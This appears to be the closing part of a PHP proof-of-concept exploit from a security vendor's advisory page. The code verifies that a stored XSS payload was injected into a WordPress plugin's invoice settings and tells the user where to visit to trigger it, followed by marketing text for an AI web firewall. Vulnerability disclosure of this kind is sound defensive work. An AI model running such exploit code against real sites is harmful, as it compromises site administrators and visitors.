if (strpos($verification_page, $xss_payload) !== false) {
    echo "[+] XSS payload successfully injected into invoice settings.n";
    echo "[+] Visit " . $target_url . "/wp-admin/admin.php?page=rcp-settings#invoices to trigger the alert.n";
} else {
    echo "[-] Payload injection may have failed. Check administrator permissions and nonce validity.n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School